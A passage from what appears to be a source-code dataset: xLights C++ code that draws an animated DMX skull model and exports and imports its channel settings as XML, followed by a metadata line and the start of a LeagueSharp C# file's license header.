va.AddVertex(p3b.x, p3b.y, base_color); va.AddVertex(p2b.x, p2b.y, base_color); va.AddVertex(p3.x, p3.y, base_color); va.AddVertex(p3.x, p3.y, base_color2); va.AddVertex(p3b.x, p3b.y, base_color2); va.AddVertex(p4.x, p4.y, base_color2); va.AddVertex(p4b.x, p4b.y, base_color2); va.AddVertex(p3b.x, p3b.y, base_color2); va.AddVertex(p4.x, p4.y, base_color2); va.AddVertex(p4.x, p4.y, base_color); va.AddVertex(p4b.x, p4b.y, base_color); va.AddVertex(p5.x, p5.y, base_color); va.AddVertex(p5b.x, p5b.y, base_color); va.AddVertex(p4b.x, p4b.y, base_color); va.AddVertex(p5.x, p5.y, base_color); va.AddVertex(p5.x, p5.y, base_color2); va.AddVertex(p5b.x, p5b.y, base_color2); va.AddVertex(p6.x, p6.y, base_color2); va.AddVertex(p6b.x, p6b.y, base_color2); va.AddVertex(p5b.x, p5b.y, base_color2); va.AddVertex(p6.x, p6.y, base_color2); va.AddVertex(p6.x, p6.y, base_color); va.AddVertex(p6b.x, p6b.y, base_color); va.AddVertex(p7.x, p7.y, base_color); va.AddVertex(p7b.x, p7b.y, base_color); va.AddVertex(p6b.x, p6b.y, base_color); va.AddVertex(p7.x, p7.y, base_color); va.AddVertex(p7.x, p7.y, base_color2); va.AddVertex(p7b.x, p7b.y, base_color2); va.AddVertex(p8.x, p8.y, base_color2); va.AddVertex(p8b.x, p8b.y, base_color2); va.AddVertex(p7b.x, p7b.y, base_color2); va.AddVertex(p8.x, p8.y, base_color2); va.AddVertex(p8.x, p8.y, base_color); va.AddVertex(p8b.x, p8b.y, base_color); va.AddVertex(p1.x, p1.y, base_color); va.AddVertex(p1b.x, p1b.y, base_color); va.AddVertex(p8b.x, p8b.y, base_color); va.AddVertex(p1.x, p1.y, base_color); // Draw Front of Head va.AddVertex(p1.x, p1.y, ccolor); va.AddVertex(p2.x, p2.y, ccolor); va.AddVertex(p9.x, p9.y, ccolor); va.AddVertex(p2.x, p2.y, ccolor); va.AddVertex(p9.x, p9.y, ccolor); va.AddVertex(p11.x, p11.y, ccolor); va.AddVertex(p1.x, p1.y, ccolor); va.AddVertex(p9.x, p9.y, ccolor); va.AddVertex(p10.x, p10.y, ccolor); va.AddVertex(p1.x, p1.y, ccolor); va.AddVertex(p8.x, p8.y, ccolor); va.AddVertex(p10.x, p10.y, ccolor); va.AddVertex(p2.x, p2.y, ccolor); va.AddVertex(p3.x, p3.y, ccolor); va.AddVertex(p11.x, p11.y, ccolor); va.AddVertex(p8.x, p8.y, ccolor); va.AddVertex(p10.x, p10.y, ccolor); va.AddVertex(p12.x, p12.y, ccolor); va.AddVertex(p3.x, p3.y, ccolor); va.AddVertex(p11.x, p11.y, ccolor); va.AddVertex(p16.x, p16.y, ccolor); va.AddVertex(p7.x, p7.y, ccolor); va.AddVertex(p8.x, p8.y, ccolor); va.AddVertex(p12.x, p12.y, ccolor); va.AddVertex(p3.x, p3.y, ccolor); va.AddVertex(p4.x, p4.y, ccolor); va.AddVertex(p16.x, p16.y, ccolor); va.AddVertex(p10.x, p10.y, ccolor); va.AddVertex(p12.x, p12.y, ccolor); va.AddVertex(p14.x, p14.y, ccolor); va.AddVertex(p10.x, p10.y, ccolor); va.AddVertex(p11.x, p11.y, ccolor); va.AddVertex(p14.x, p14.y, ccolor); va.AddVertex(p11.x, p11.y, ccolor); va.AddVertex(p14.x, p14.y, ccolor); va.AddVertex(p16.x, p16.y, ccolor); va.AddVertex(p12.x, p12.y, ccolor); va.AddVertex(p13.x, p13.y, ccolor); va.AddVertex(p14.x, p14.y, ccolor); va.AddVertex(p14.x, p14.y, ccolor); va.AddVertex(p15.x, p15.y, ccolor); va.AddVertex(p16.x, p16.y, ccolor); // Draw Lower Mouth va.AddVertex(p4m.x, p4m.y, ccolor); va.AddVertex(p6m.x, p6m.y, ccolor); va.AddVertex(p7m.x, p7m.y, ccolor); va.AddVertex(p4m.x, p4m.y, ccolor); va.AddVertex(p5m.x, p5m.y, ccolor); va.AddVertex(p6m.x, p6m.y, ccolor); va.AddVertex(p7m.x, p7m.y, ccolor); va.AddVertex(p12m.x, p12m.y, ccolor); va.AddVertex(p13m.x, p13m.y, ccolor); va.AddVertex(p13m.x, p13m.y, ccolor); va.AddVertex(p14m.x, p14m.y, ccolor); va.AddVertex(p15m.x, p15m.y, ccolor); va.AddVertex(p4m.x, p4m.y, ccolor); va.AddVertex(p15m.x, p15m.y, ccolor); va.AddVertex(p16m.x, p16m.y, ccolor); // Draw Eyes va.AddCircleAsTriangles(left_eye_socket.x, left_eye_socket.y, scale*sf*0.25, black, black); va.AddCircleAsTriangles(right_eye_socket.x, right_eye_socket.y, scale*sf*0.25, black, black); va.AddCircleAsTriangles(left_eye.x, left_eye.y, scale*sf*0.10, eye_color, eye_color); va.AddCircleAsTriangles(right_eye.x, right_eye.y, scale*sf*0.10, eye_color, eye_color); va.Finish(GL_TRIANGLES); } void DmxSkulltronix::DrawModelOnWindow(ModelPreview* preview, DrawGLUtils::xl3Accumulator &va, const xlColor *c, float &sx, float &sy, float &sz, bool active) { if (!IsActive()) return; float pan_angle, pan_angle_raw, tilt_angle, nod_angle, jaw_pos, eye_x, eye_y; float jaw_range_of_motion = -4.0f; float eye_range_of_motion = 3.8f; int channel_value; size_t NodeCount = Nodes.size(); bool beam_off = false; if (pan_channel > NodeCount || tilt_channel > NodeCount || red_channel > NodeCount || green_channel > NodeCount || blue_channel > NodeCount) { return; } xlColor ccolor(xlWHITE); xlColor pnt_color(xlRED); xlColor eye_color(xlWHITE); xlColor marker_color(xlBLACK); xlColor black(xlBLACK); xlColor base_color(200, 200, 200); xlColor base_color2(150, 150, 150); xlColor color; if (c != nullptr) { color = *c; } int dmx_size = ((BoxedScreenLocation)screenLocation).GetScaleX(); float radius = (float)(dmx_size) / 2.0f; xlColor color_angle; int trans = color == xlBLACK ? blackTransparency : transparency; if (red_channel > 0 && green_channel > 0 && blue_channel > 0) { xlColor proxy; Nodes[red_channel - 1]->GetColor(proxy); eye_color.red = proxy.red; Nodes[green_channel - 1]->GetColor(proxy); eye_color.green = proxy.red; Nodes[blue_channel - 1]->GetColor(proxy); eye_color.blue = proxy.red; } if ((eye_color.red == 0 && eye_color.green == 0 && eye_color.blue == 0) || !active) { eye_color = xlWHITE; beam_off = true; } else { ApplyTransparency(eye_color, trans, trans); marker_color = eye_color; } ApplyTransparency(ccolor, trans, trans); ApplyTransparency(base_color, trans, trans); ApplyTransparency(base_color2, trans, trans); ApplyTransparency(pnt_color, trans, trans); if (pan_channel > 0) { channel_value = GetChannelValue(pan_channel - 1, true); pan_angle = ((channel_value - pan_min_limit) / (double)(pan_max_limit - pan_min_limit)) * pan_deg_of_rot + pan_orient; } else { pan_angle = 0.0f; } pan_angle_raw = pan_angle; if (tilt_channel > 0) { channel_value = GetChannelValue(tilt_channel - 1, true); tilt_angle = (1.0 - ((channel_value - tilt_min_limit) / (double)(tilt_max_limit - tilt_min_limit))) * tilt_deg_of_rot + tilt_orient; } else { tilt_angle = 0.0f; } if (nod_channel > 0) { channel_value = GetChannelValue(nod_channel - 1, true); nod_angle = (1.0 - ((channel_value - nod_min_limit) / (double)(nod_max_limit - nod_min_limit))) * nod_deg_of_rot + nod_orient; } else { nod_angle = 0.0f; } if (jaw_channel > 0) { channel_value = GetChannelValue(jaw_channel - 1, true); jaw_pos = ((channel_value - jaw_min_limit) / (double)(jaw_max_limit - jaw_min_limit)) * jaw_range_of_motion - 0.5f; } else { jaw_pos = -0.5f; } if (eye_lr_channel > 0) { channel_value = GetChannelValue(eye_lr_channel - 1, true); eye_x = (1.0 - ((channel_value - eye_lr_min_limit) / (double)(eye_lr_max_limit - eye_lr_min_limit))) * eye_range_of_motion - eye_range_of_motion / 2.0; } else { eye_x = 0.0f; } if (eye_ud_channel > 0) { channel_value = GetChannelValue(eye_ud_channel - 1, true); eye_y = ((channel_value - eye_ud_min_limit) / (double)(eye_ud_max_limit - eye_ud_min_limit)) * eye_range_of_motion - eye_range_of_motion / 2.0; } else { eye_y = 0.0f; } if (!active) { pan_angle = 0.5f * 180 + 90; tilt_angle = 0.5f * 90 + 315; nod_angle = 0.5f * 58 + 331; jaw_pos = -0.5f; eye_x = 0.5f * eye_range_of_motion - eye_range_of_motion / 2.0; eye_y = 0.5f * eye_range_of_motion - eye_range_of_motion / 2.0; } float sf = 12.0f; float scale = radius / sf; // Create Head dmxPoint3d p1(-7.5f, 13.7f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p2(7.5f, 13.7f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p3(13.2f, 6.0f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p8(-13.2f, 6.0f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p4(9, -11.4f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p7(-9, -11.4f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p5(6.3f, -16, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p6(-6.3f, -16, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p9(0, 3.5f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p10(-2.5f, -1.7f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p11(2.5f, -1.7f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p14(0, -6.5f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p12(-6, -6.5f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p16(6, -6.5f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p13(-3, -11.4f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p15(3, -11.4f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); // Create Back of Head dmxPoint3d p1b(-7.5f, 13.7f, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p2b(7.5f, 13.7f, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p3b(13.2f, 6.0f, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p8b(-13.2f, 6.0f, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p4b(9, -11.4f, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p7b(-9, -11.4f, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p5b(6.3f, -16, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p6b(-6.3f, -16, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); // Create Lower Mouth dmxPoint3d p4m(9, -11.4f + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p7m(-9, -11.4f + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p5m(6.3f, -16 + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p6m(-6.3f, -16 + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p14m(0, -6.5f + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p12m(-6, -6.5f + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p16m(6, -6.5f + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p13m(-3, -11.4f + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p15m(3, -11.4f + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); // Create Eyes dmxPoint3d left_eye_socket(-5, 7.5f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d right_eye_socket(5, 7.5f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d left_eye(-5 + eye_x, 7.5f + eye_y, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d right_eye(5 + eye_x, 7.5f + eye_y, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); // Draw Back of Head va.AddVertex(p1.x, p1.y, p1.z, base_color2); va.AddVertex(p1b.x, p1b.y, p1b.z, base_color2); va.AddVertex(p2.x, p2.y, p2.z, base_color2); va.AddVertex(p2b.x, p2b.y, p2b.z, base_color2); va.AddVertex(p1b.x, p1b.y, p1b.z, base_color2); va.AddVertex(p2.x, p2.y, p2.z, base_color2); va.AddVertex(p2.x, p2.y, p2.z, base_color); va.AddVertex(p2b.x, p2b.y, p2b.z, base_color); va.AddVertex(p3.x, p3.y, p3.z, base_color); va.AddVertex(p3b.x, p3b.y, p3b.z, base_color); va.AddVertex(p2b.x, p2b.y, p2b.z, base_color); va.AddVertex(p3.x, p3.y, p3.z, base_color); va.AddVertex(p3.x, p3.y, p3.z, base_color2); va.AddVertex(p3b.x, p3b.y, p3b.z, base_color2); va.AddVertex(p4.x, p4.y, p4.z, base_color2); va.AddVertex(p4b.x, p4b.y, p4b.z, base_color2); va.AddVertex(p3b.x, p3b.y, p3b.z, base_color2); va.AddVertex(p4.x, p4.y, p4.z, base_color2); va.AddVertex(p4.x, p4.y, p4.z, base_color); va.AddVertex(p4b.x, p4b.y, p4b.z, base_color); va.AddVertex(p5.x, p5.y, p5.z, base_color); va.AddVertex(p5b.x, p5b.y, p5b.z, base_color); va.AddVertex(p4b.x, p4b.y, p4b.z, base_color); va.AddVertex(p5.x, p5.y, p5.z, base_color); va.AddVertex(p5.x, p5.y, p5.z, base_color2); va.AddVertex(p5b.x, p5b.y, p5b.z, base_color2); va.AddVertex(p6.x, p6.y, p6.z, base_color2); va.AddVertex(p6b.x, p6b.y, p6b.z, base_color2); va.AddVertex(p5b.x, p5b.y, p5b.z, base_color2); va.AddVertex(p6.x, p6.y, p6.z, base_color2); va.AddVertex(p6.x, p6.y, p6.z, base_color); va.AddVertex(p6b.x, p6b.y, p6b.z, base_color); va.AddVertex(p7.x, p7.y, p7.z, base_color); va.AddVertex(p7b.x, p7b.y, p7b.z, base_color); va.AddVertex(p6b.x, p6b.y, p6b.z, base_color); va.AddVertex(p7.x, p7.y, p7.z, base_color); va.AddVertex(p7.x, p7.y, p7.z, base_color2); va.AddVertex(p7b.x, p7b.y, p7b.z, base_color2); va.AddVertex(p8.x, p8.y, p8.z, base_color2); va.AddVertex(p8b.x, p8b.y, p8b.z, base_color2); va.AddVertex(p7b.x, p7b.y, p7b.z, base_color2); va.AddVertex(p8.x, p8.y, p8.z, base_color2); va.AddVertex(p8.x, p8.y, p8.z, base_color); va.AddVertex(p8b.x, p8b.y, p8b.z, base_color); va.AddVertex(p1.x, p1.y, p1.z, base_color); va.AddVertex(p1b.x, p1b.y, p1b.z, base_color); va.AddVertex(p8b.x, p8b.y, p8b.z, base_color); va.AddVertex(p1.x, p1.y, p1.z, base_color); // Draw Front of Head va.AddVertex(p1.x, p1.y, p1.z, ccolor); va.AddVertex(p2.x, p2.y, p2.z, ccolor); va.AddVertex(p9.x, p9.y, p9.z, ccolor); va.AddVertex(p2.x, p2.y, p2.z, ccolor); va.AddVertex(p9.x, p9.y, p9.z, ccolor); va.AddVertex(p11.x, p11.y, p11.z, ccolor); va.AddVertex(p1.x, p1.y, p1.z, ccolor); va.AddVertex(p9.x, p9.y, p9.z, ccolor); va.AddVertex(p10.x, p10.y, p10.z, ccolor); va.AddVertex(p1.x, p1.y, p1.z, ccolor); va.AddVertex(p8.x, p8.y, p8.z, ccolor); va.AddVertex(p10.x, p10.y, p10.z, ccolor); va.AddVertex(p2.x, p2.y, p2.z, ccolor); va.AddVertex(p3.x, p3.y, p3.z, ccolor); va.AddVertex(p11.x, p11.y, p11.z, ccolor); va.AddVertex(p8.x, p8.y, p8.z, ccolor); va.AddVertex(p10.x, p10.y, p10.z, ccolor); va.AddVertex(p12.x, p12.y, p12.z, ccolor); va.AddVertex(p3.x, p3.y, p3.z, ccolor); va.AddVertex(p11.x, p11.y, p11.z, ccolor); va.AddVertex(p16.x, p16.y, p16.z, ccolor); va.AddVertex(p7.x, p7.y, p7.z, ccolor); va.AddVertex(p8.x, p8.y, p8.z, ccolor); va.AddVertex(p12.x, p12.y, p12.z, ccolor); va.AddVertex(p3.x, p3.y, p3.z, ccolor); va.AddVertex(p4.x, p4.y, p4.z, ccolor); va.AddVertex(p16.x, p16.y, p16.z, ccolor); va.AddVertex(p10.x, p10.y, p10.z, ccolor); va.AddVertex(p12.x, p12.y, p12.z, ccolor); va.AddVertex(p14.x, p14.y, p14.z, ccolor); va.AddVertex(p10.x, p10.y, p10.z, ccolor); va.AddVertex(p11.x, p11.y, p11.z, ccolor); va.AddVertex(p14.x, p14.y, p14.z, ccolor); va.AddVertex(p11.x, p11.y, p11.z, ccolor); va.AddVertex(p14.x, p14.y, p14.z, ccolor); va.AddVertex(p16.x, p16.y, p16.z, ccolor); va.AddVertex(p12.x, p12.y, p12.z, ccolor); va.AddVertex(p13.x, p13.y, p13.z, ccolor); va.AddVertex(p14.x, p14.y, p14.z, ccolor); va.AddVertex(p14.x, p14.y, p14.z, ccolor); va.AddVertex(p15.x, p15.y, p15.z, ccolor); va.AddVertex(p16.x, p16.y, p16.z, ccolor); // Draw Lower Mouth va.AddVertex(p4m.x, p4m.y, p4m.z, ccolor); va.AddVertex(p6m.x, p6m.y, p6m.z, ccolor); va.AddVertex(p7m.x, p7m.y, p7m.z, ccolor); va.AddVertex(p4m.x, p4m.y, p4m.z, ccolor); va.AddVertex(p5m.x, p5m.y, p5m.z, ccolor); va.AddVertex(p6m.x, p6m.y, p6m.z, ccolor); va.AddVertex(p7m.x, p7m.y, p7m.z, ccolor); va.AddVertex(p12m.x, p12m.y, p12m.z, ccolor); va.AddVertex(p13m.x, p13m.y, p13m.z, ccolor); va.AddVertex(p13m.x, p13m.y, p13m.z, ccolor); va.AddVertex(p14m.x, p14m.y, p14m.z, ccolor); va.AddVertex(p15m.x, p15m.y, p15m.z, ccolor); va.AddVertex(p4m.x, p4m.y, p4m.z, ccolor); va.AddVertex(p15m.x, p15m.y, p15m.z, ccolor); va.AddVertex(p16m.x, p16m.y, p16m.z, ccolor); // Draw Eyes va.AddCircleAsTriangles(left_eye_socket.x, left_eye_socket.y, left_eye_socket.z, scale*sf*0.25, black, black); va.AddCircleAsTriangles(right_eye_socket.x, right_eye_socket.y, right_eye_socket.z, scale*sf*0.25, black, black); va.AddCircleAsTriangles(left_eye.x, left_eye.y, left_eye.z, scale*sf*0.10, eye_color, eye_color); va.AddCircleAsTriangles(right_eye.x, right_eye.y, right_eye.z, scale*sf*0.10, eye_color, eye_color); va.Finish(GL_TRIANGLES); } */ void DmxSkulltronix::ExportXlightsModel() { wxString name = ModelXml->GetAttribute("name"); wxLogNull logNo; //kludge: avoid "error 0" message from wxWidgets after new file is written wxString filename = wxFileSelector(_("Choose output file"), wxEmptyString, name, wxEmptyString, "Custom Model files (*.xmodel)|*.xmodel", wxFD_SAVE | wxFD_OVERWRITE_PROMPT); if (filename.IsEmpty()) return; wxFile f(filename); // bool isnew = !FileExists(filename); if (!f.Create(filename, true) || !f.IsOpened()) DisplayError(wxString::Format("Unable to create file %s. Error %d\n", filename, f.GetLastError()).ToStdString()); f.Write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<dmxmodel \n"); ExportBaseParameters(f); wxString pdr = ModelXml->GetAttribute("DmxPanDegOfRot", "180"); wxString tdr = ModelXml->GetAttribute("DmxTiltDegOfRot", "90"); wxString s = ModelXml->GetAttribute("DmxStyle"); wxString pc = ModelXml->GetAttribute("DmxPanChannel", "13"); wxString po = ModelXml->GetAttribute("DmxPanOrient", "90"); wxString tc = ModelXml->GetAttribute("DmxTiltChannel", "19"); wxString to = ModelXml->GetAttribute("DmxTiltOrient", "315"); wxString rc = ModelXml->GetAttribute("DmxRedChannel", "24"); wxString gc = ModelXml->GetAttribute("DmxGreenChannel", "25"); wxString bc = ModelXml->GetAttribute("DmxBlueChannel", "26"); wxString wc = ModelXml->GetAttribute("DmxWhiteChannel", "0"); wxString sc = ModelXml->GetAttribute("DmxShutterChannel", "0"); wxString so = ModelXml->GetAttribute("DmxShutterOpen", "1"); wxString tml = ModelXml->GetAttribute("DmxTiltMinLimit", "442"); wxString tmxl = ModelXml->GetAttribute("DmxTiltMaxLimit", "836"); wxString pml = ModelXml->GetAttribute("DmxPanMinLimit", "250"); wxString pmxl = ModelXml->GetAttribute("DmxPanMaxLimit", "1250"); wxString nc = ModelXml->GetAttribute("DmxNodChannel", "11"); wxString no = ModelXml->GetAttribute("DmxNodOrient", "331"); wxString ndr = ModelXml->GetAttribute("DmxNodDegOfRot", "58"); wxString nml = ModelXml->GetAttribute("DmxNodMinLimit", "452"); wxString nmxl = ModelXml->GetAttribute("DmxNodMaxLimit", "745"); wxString jc = ModelXml->GetAttribute("DmxJawChannel", "9"); wxString jml = ModelXml->GetAttribute("DmxJawMinLimit", "500"); wxString jmxl = ModelXml->GetAttribute("DmxJawMaxLimit", "750"); wxString eb = ModelXml->GetAttribute("DmxEyeBrtChannel", "23"); wxString eudc = ModelXml->GetAttribute("DmxEyeUDChannel", "15"); wxString eudml = ModelXml->GetAttribute("DmxEyeUDMinLimit", "575"); wxString eudmxl = ModelXml->GetAttribute("DmxEyeUDMaxLimit", "1000"); wxString elrc = ModelXml->GetAttribute("DmxEyeLRChannel", "17"); wxString elml = ModelXml->GetAttribute("DmxEyeLRMinLimit", "499"); wxString elrmxl = ModelXml->GetAttribute("DmxEyeLRMaxLimit", "878"); f.Write(wxString::Format("DmxPanDegOfRot=\"%s\" ", pdr)); f.Write(wxString::Format("DmxTiltDegOfRot=\"%s\" ", tdr)); f.Write(wxString::Format("DmxStyle=\"%s\" ", s)); f.Write(wxString::Format("DmxPanChannel=\"%s\" ", pc)); f.Write(wxString::Format("DmxPanOrient=\"%s\" ", po)); f.Write(wxString::Format("DmxTiltChannel=\"%s\" ", tc)); f.Write(wxString::Format("DmxTiltOrient=\"%s\" ", to)); f.Write(wxString::Format("DmxRedChannel=\"%s\" ", rc)); f.Write(wxString::Format("DmxGreenChannel=\"%s\" ", gc)); f.Write(wxString::Format("DmxBlueChannel=\"%s\" ", bc)); f.Write(wxString::Format("DmxWhiteChannel=\"%s\" ", wc)); f.Write(wxString::Format("DmxShutterChannel=\"%s\" ", sc)); f.Write(wxString::Format("DmxShutterOpen=\"%s\" ", so)); f.Write(wxString::Format("DmxTiltMinLimit=\"%s\" ", tml)); f.Write(wxString::Format("DmxTiltMaxLimit=\"%s\" ", tmxl)); f.Write(wxString::Format("DmxPanMinLimit=\"%s\" ", pml)); f.Write(wxString::Format("DmxPanMaxLimit=\"%s\" ", pmxl)); f.Write(wxString::Format("DmxNodChannel=\"%s\" ", nc)); f.Write(wxString::Format("DmxNodOrient=\"%s\" ", no)); f.Write(wxString::Format("DmxNodDegOfRot=\"%s\" ", ndr)); f.Write(wxString::Format("DmxNodMinLimit=\"%s\" ", nml)); f.Write(wxString::Format("DmxNodMaxLimit=\"%s\" ", nmxl)); f.Write(wxString::Format("DmxJawChannel=\"%s\" ", jc)); f.Write(wxString::Format("DmxJawMinLimit=\"%s\" ", jml)); f.Write(wxString::Format("DmxJawMaxLimit=\"%s\" ", jmxl)); f.Write(wxString::Format("DmxEyeBrtChannel=\"%s\" ", eb)); f.Write(wxString::Format("DmxEyeUDChannel=\"%s\" ", eudc)); f.Write(wxString::Format("DmxEyeUDMinLimit=\"%s\" ", eudml)); f.Write(wxString::Format("DmxEyeUDMaxLimit=\"%s\" ", eudmxl)); f.Write(wxString::Format("DmxEyeLRChannel=\"%s\" ", elrc)); f.Write(wxString::Format("DmxEyeLRMinLimit=\"%s\" ", elml)); f.Write(wxString::Format("DmxEyeLRMaxLimit=\"%s\" ", elrmxl)); f.Write(" >\n"); wxString submodel = SerialiseSubmodel(); if (submodel != "") { f.Write(submodel); } wxString state = SerialiseState(); if (state != "") { f.Write(state); } wxString groups = SerialiseGroups(); if (groups != "") { f.Write(groups); } f.Write("</dmxmodel>"); f.Close(); } void DmxSkulltronix::ImportXlightsModel(wxXmlNode* root, xLightsFrame* xlights, float& min_x, float& max_x, float& min_y, float& max_y) { if (root->GetName() == "dmxmodel") { ImportBaseParameters(root); wxString name = root->GetAttribute("name"); wxString v = root->GetAttribute("SourceVersion"); wxString pdr = root->GetAttribute("DmxPanDegOfRot"); wxString tdr = root->GetAttribute("DmxTiltDegOfRot"); wxString s = root->GetAttribute("DmxStyle"); wxString pc = root->GetAttribute("DmxPanChannel"); wxString po = root->GetAttribute("DmxPanOrient"); wxString psl = root->GetAttribute("DmxPanSlewLimit"); wxString tc = root->GetAttribute("DmxTiltChannel"); wxString to = root->GetAttribute("DmxTiltOrient"); wxString tsl = root->GetAttribute("DmxTiltSlewLimit"); wxString rc = root->GetAttribute("DmxRedChannel"); wxString gc = root->GetAttribute("DmxGreenChannel"); wxString bc = root->GetAttribute("DmxBlueChannel"); wxString wc = root->GetAttribute("DmxWhiteChannel"); wxString sc = root->GetAttribute("DmxShutterChannel"); wxString so = root->GetAttribute("DmxShutterOpen"); wxString bl = root->GetAttribute("DmxBeamLimit"); wxString tml = root->GetAttribute("DmxTiltMinLimit"); wxString tmxl = root->GetAttribute("DmxTiltMaxLimit"); wxString pml = root->GetAttribute("DmxPanMinLimit"); wxString pmxl = root->GetAttribute("DmxPanMaxLimit"); wxString nc = root->GetAttribute("DmxNodChannel"); wxString no = root->GetAttribute("DmxNodOrient"); wxString ndr = root->GetAttribute("DmxNodDegOfRot"); wxString nml = root->GetAttribute("DmxNodMinLimit"); wxString nmxl = root->GetAttribute("DmxNodMaxLimit"); wxString jc = root->GetAttribute("DmxJawChannel"); wxString jml = root->GetAttribute("DmxJawMinLimit"); wxString jmxl = root->GetAttribute("DmxJawMaxLimit"); wxString eb = root->GetAttribute("DmxEyeBrtChannel"); wxString eudc = root->GetAttribute("DmxEyeUDChannel"); wxString eudml = root->GetAttribute("DmxEyeUDMinLimit"); wxString eudmxl = root->GetAttribute("DmxEyeUDMaxLimit"); wxString elrc = root->GetAttribute("DmxEyeLRChannel"); wxString elml = root->GetAttribute("DmxEyeLRMinLimit"); wxString elrmxl = root->GetAttribute("DmxEyeLRMaxLimit"); // Add any model version conversion logic here // Source version will be the program version that created the custom model SetProperty("DmxPanDegOfRot", pdr); SetProperty("DmxTiltDegOfRot", tdr); SetProperty("DmxStyle", s); SetProperty("DmxPanChannel", pc); SetProperty("DmxPanOrient", po); SetProperty("DmxPanSlewLimit", psl); SetProperty("DmxTiltChannel", tc); SetProperty("DmxTiltOrient", to); SetProperty("DmxTiltSlewLimit", tsl); SetProperty("DmxRedChannel", rc); SetProperty("DmxGreenChannel", gc); SetProperty("DmxBlueChannel", bc); SetProperty("DmxWhiteChannel", wc); SetProperty("DmxShutterChannel", sc); SetProperty("DmxShutterOpen", so); SetProperty("DmxBeamLimit", bl); SetProperty("DmxTiltMinLimit", tml); SetProperty("DmxTiltMaxLimit", tmxl); SetProperty("DmxPanMinLimit", pml); SetProperty("DmxPanMaxLimit", pmxl); SetProperty("DmxNodChannel", nc); SetProperty("DmxNodOrient", no); SetProperty("DmxNodDegOfRot", ndr); SetProperty("DmxNodMinLimit", nml); SetProperty("DmxNodMaxLimit", nmxl); SetProperty("DmxJawChannel", jc); SetProperty("DmxJawMinLimit", jml); SetProperty("DmxJawMaxLimit", jmxl); SetProperty("DmxEyeBrtChannel", eb); SetProperty("DmxEyeUDChannel", eudc); SetProperty("DmxEyeUDMinLimit", eudml); SetProperty("DmxEyeUDMaxLimit", eudmxl); SetProperty("DmxEyeLRChannel", elrc); SetProperty("DmxEyeLRMinLimit", elml); SetProperty("DmxEyeLRMaxLimit", elrmxl); wxString newname = xlights->AllModels.GenerateModelName(name.ToStdString()); GetModelScreenLocation().Write(ModelXml); SetProperty("name", newname, true); ImportModelChildren(root, xlights, newname); xlights->GetOutputModelManager()->AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::ImportXlightsModel"); xlights->GetOutputModelManager()->AddASAPWork(OutputModelManager::WORK_MODELS_CHANGE_REQUIRING_RERENDER, "DmxSkulltronix::ImportXlightsModel"); } else { DisplayError("Failure loading DmxSkulltronix model file."); } }
smeighan/xLights
xLights/models/DMX/DmxSkulltronix.cpp
C++
gpl-3.0
61,427
#region LICENSE /* Copyright 2014 - 2015 LeagueSharp Orbwalking.cs is part of LeagueSharp.Common. LeagueSharp.Common is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. LeagueSharp.Common is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with LeagueSharp.Common. If not, see <http://www.gnu.org/licenses/>. */ #endregion #region using System; using System.Collections.Generic; using 